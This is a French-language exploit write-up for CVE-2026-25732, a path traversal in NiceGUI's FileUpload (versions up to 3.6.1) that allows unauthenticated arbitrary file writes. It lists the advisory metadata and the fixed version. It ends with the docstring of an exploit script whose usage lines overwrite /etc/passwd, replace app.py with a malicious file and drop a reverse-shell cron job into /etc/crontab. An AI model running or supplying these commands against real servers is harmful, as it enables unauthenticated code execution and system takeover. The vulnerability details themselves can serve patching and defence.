
Exploit pour CVE-2026-25732, un path traversal dans FileUpload de NiceGUI qui permet l'écriture arbitraire de fichiers sans authentification. Inclut des exemples d'utilisation pour écraser des fichiers applicatifs ou déposer des webshells.
Auteur : Mohammed Idrees Banyamer
Contact :
Titre de l'exploit : Traversée de chemin NiceGUI dans FileUpload menant à une écriture arbitraire de fichiers
Date : 2025-06-06
Testé sur : NiceGUI ≤ 3.6.1 (Python 3.8 – 3.12 sur Linux / Windows)
Corrigé dans : NiceGUI 3.7.0
CVE : CVE-2026-25732
Faiblesse : CWE-22 — Limitation inappropriée d'un nom de chemin à un répertoire restreint
Vecteur d'attaque : Réseau
Privilèges requis : Aucun
Interaction utilisateur : Aucune
Plateforme : Application web (NiceGUI / Python)
Les versions de NiceGUI ≤ 3.6.1 ne désinfectent pas correctement le champ name des fichiers téléversés dans le gestionnaire ui.upload() / FileUpload lorsque le développeur de l'application utilise le nom de fichier d'origine dans le chemin de sauvegarde sans désinfection supplémentaire.
Cela permet à un attaquant non authentifié d'écrire des fichiers arbitraires partout où le processus NiceGUI dispose des permissions d'écriture via des séquences de traversée de chemin (../, chemins absolus, etc.).
Exemples d'impact courants :
app.py / main.py → exécution de code au rechargement/redémarrage de l'application/etc/, répertoires personnels, .ssh/, dossiers de configuration, etc.#!/usr/bin/env python3
"""
CVE-2026-25732 — Écriture arbitraire de fichiers NiceGUI (traversée de chemin)
Exploite FileUpload.name non désinfecté lorsque l'application l'utilise dans le chemin de sauvegarde.
Utilisation :
python exploit_cve_2026_25732.py http://cible:8080 "../etc/passwd" payload.txt
python exploit_cve_2026_25732.py http://cible:8080 "../app.py" malicious_app.py
python exploit_cve_2026_25732.py http://cible:8080 "nicegui/../../../etc/crontab" revshell-cron
"""